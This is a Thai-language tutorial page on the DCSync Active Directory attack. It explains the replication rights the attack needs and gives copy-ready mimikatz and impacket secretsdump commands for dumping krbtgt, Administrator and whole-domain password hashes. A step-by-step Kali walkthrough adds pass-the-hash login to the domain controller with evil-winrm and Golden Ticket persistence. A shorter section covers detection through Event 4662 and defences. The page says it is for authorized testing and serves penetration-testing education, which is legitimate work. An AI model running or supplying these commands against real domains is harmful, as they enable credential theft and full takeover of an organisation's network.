DCSync
DCSync เป็นเทคนิคที่หลอก Domain Controller ให้ replicate ข้อมูล credential (NTLM hash) ของบัญชีใดก็ได้ — รวม krbtgt และ Domain Admin — ออกมา โดยใช้สิทธิ์ replication (DS-Replication-Get-Changes) แทนที่จะต้องรันโค้ดบน DC บทนี้ลงลึกกลไก DRSUAPI, สิทธิ์ที่ต้องมี, การ dump ด้วย mimikatz/impacket, สิ่งที่ได้, OPSEC และการป้องกัน (เนื้อหาเพื่อทดสอบในระบบที่ได้รับอนุญาตเท่านั้น)
1. หลักการ — abuse replication
Domain Controller หลายตัวต้อง sync ข้อมูลกันผ่าน protocol DRSUAPI (Directory Replication Service) — DC ตัวหนึ่งขอข้อมูล (รวม password hash) จากอีกตัวได้ DCSync ปลอมตัวเป็น DC แล้วขอ replicate credential ของบัญชีเป้าหมายออกมา จุดสำคัญ: ไม่ต้องรันโค้ดบน DC ไม่ต้อง dump NTDS.dit เอง — แค่มีสิทธิ์ replication (ซึ่ง Domain Admins, Enterprise Admins, และบัญชีที่มี DCSync rights มี) ก็ขอ hash ของใครก็ได้รวม krbtgt (กุญแจสู่ Golden Ticket)
2. สิทธิ์ที่ต้องมี
DCSync ต้องการสิทธิ์ replication 3 อย่างบน domain object — บัญชีที่มีครบทำ DCSync ได้:
| สิทธิ์ (extended right) | ความหมาย |
|---|---|
| DS-Replication-Get-Changes | ขอ replicate การเปลี่ยนแปลง |
| DS-Replication-Get-Changes-All | replicate รวม secret (hash) |
| DS-Replication-Get-Changes-In-Filtered-Set | บางสภาพแวดล้อม (RODC) |
- มีโดย default: Domain Admins, Enterprise Admins, Administrators, Domain Controllers
- บัญชีธรรมดาที่ถูกมอบสิทธิ์ผิดพลาด (misconfiguration) — เป้าที่ BloodHound หาเจอ (edge DCSync)
- ได้สิทธิ์นี้ผ่าน ACL abuse (WriteDacl บน domain → ให้สิทธิ์ตัวเอง — ดูหัวข้อ ACL Abuse)
3. DCSync ด้วย mimikatz (Windows)
# dump hash ของ krbtgt (สำหรับ Golden Ticket)
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt
# dump hash ของ Domain Admin
mimikatz # lsadump::dcsync /domain:domain.local /user:Administrator
# dump ทุกบัญชี (ทั้งโดเมน)
mimikatz # lsadump::dcsync /domain:domain.local /all /csv
# สิ่งที่ได้: NTLM hash, (และ AES keys ถ้ามี)
# krbtgt NTLM → ใช้ทำ Golden Ticket (ดูหัวข้อ Golden Ticket)4. DCSync ด้วย impacket (Linux)
# dump ทั้งโดเมนผ่าน DCSync (ใช้ credential ที่มีสิทธิ์)
secretsdump.py domain.local/DAuser:[email protected]
# เฉพาะ krbtgt (-just-dc-user)
secretsdump.py domain.local/DAuser:[email protected] -just-dc-user krbtgt
# เฉพาะ NTLM (ไม่เอา cleartext/kerberos keys)
secretsdump.py domain.local/DAuser:[email protected] -just-dc-ntlm
# pass-the-hash (ถ้ามี hash แทนรหัส)
secretsdump.py -hashes :NTHASH domain.local/[email protected]5. ได้ hash แล้วทำอะไรต่อ
- krbtgt hash → Golden Ticket: ปลอม TGT เป็นใครก็ได้ ยึดโดเมนถาวร (ดู Golden Ticket)
- DA hash → Pass-the-Hash: login เป็น DA โดยไม่ต้อง crack (ดู Pass-the-Hash)
- service account hash → Silver Ticket: ปลอม TGS เข้า service (ดู Silver Ticket)
- crack hash: hashcat -m 1000 (NTLM) หาว่ารหัสจริงคืออะไร (reuse ที่อื่น)
- AES keys: ใช้ overpass-the-hash / ทำ ticket แบบ AES (เนียนกว่า RC4)
6. OPSEC และการป้องกัน
- ตรวจจับ: Event 4662 (operation on object) ที่มี replication GUID จาก IP ที่ไม่ใช่ DC = สัญญาณ DCSync
- OPSEC: DCSync เนียนกว่า dump NTDS.dit (ไม่แตะ disk DC) แต่ replication จาก non-DC host ผิดปกติ
- ป้องกัน: จำกัดสิทธิ์ replication เฉพาะ DC จริง — audit บัญชีที่มี DS-Replication-Get-Changes-All
- ป้องกัน: monitor 4662 + network (DRSUAPI traffic จาก host ที่ไม่ใช่ DC)
- หลัง compromise: ถ้า krbtgt หลุด ต้อง reset krbtgt 2 ครั้ง เพื่อตัด Golden Ticket
7. Quick Reference
- ปลอมเป็น DC ขอ replicate credential (DRSUAPI) — ไม่ต้องรันโค้ดบน DC
- ต้องมีสิทธิ์: DS-Replication-Get-Changes(-All) (DA/EA มี default)
- BloodHound: 'Find Principals with DCSync Rights'
- Windows: mimikatz lsadump::dcsync /user:krbtgt
- Linux: secretsdump.py domain/DAuser:pass@DC -just-dc-user krbtgt
- krbtgt→Golden Ticket; DA→PtH; service→Silver Ticket
- ป้องกัน: จำกัด replication, monitor Event 4662, krbtgt reset x2
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติ BloodHound ชี้ว่า user ที่เรามี (หรือหลังยึดได้) มีสิทธิ์ DCSync (DS-Replication-Get-Changes-All) หรือเป็น DA แล้ว มีแค่ Kali ทำตามนี้ดึง hash ทั้งโดเมน
- 1ยืนยันสิทธิ์ก่อน: ใน BloodHound รัน query 'Find Principals with DCSync Rights' ดูว่า user เราอยู่ในนั้นไหม
- 2ทดสอบสิทธิ์จริงด้วยการดึงบัญชีเดียวก่อน:
secretsdump.py domain.local/user:pass@<DC_IP> -just-dc-user krbtgt - 3ถ้าได้ hash ของ krbtgt แสดงว่าสิทธิ์ใช้ได้จริง — ดึงต่อได้เต็มโดเมน:
secretsdump.py domain.local/user:pass@<DC_IP> - 4ถ้าต้องการเฉพาะ Administrator:
secretsdump.py domain.local/user:pass@<DC_IP> -just-dc-user Administrator - 5เก็บ krbtgt hash ไว้ทำ Golden Ticket ทีหลัง (persistence)
- 6เก็บ DA hash ไว้ทำ pass-the-hash เข้า DC ทันที
- 7ใช้ hash ที่ได้ยืนยันเข้าถึง DC:
evil-winrm -i <DC_IP> -u Administrator -H <NThash> - 8ถ้าได้ error access denied ตอน dump แปลว่าสิทธิ์ไม่พอจริง — กลับไปหาสิทธิ์ replication ผ่าน ACL Abuse ก่อน
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| ตรวจสิทธิ์ replication | BloodHound | BloodHound CE (docker compose) | bloodhound.readthedocs.io |
| ดึง hash ผ่าน DCSync | impacket (secretsdump.py) | pipx install impacket | - |
| pass-the-hash เข้า DC | - | gem install evil-winrm | - |
| pass-the-hash แบบ SMB/WMI | impacket (psexec.py/wmiexec.py) | - | - |
| ยืนยัน creds/สิทธิ์ | netexec (crackmapexec) | apt install netexec | - |
| crack NTLM ถ้าต้องรู้รหัสจริง | hashcat (-m 1000) | - | crackstation.net, hashes.com |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้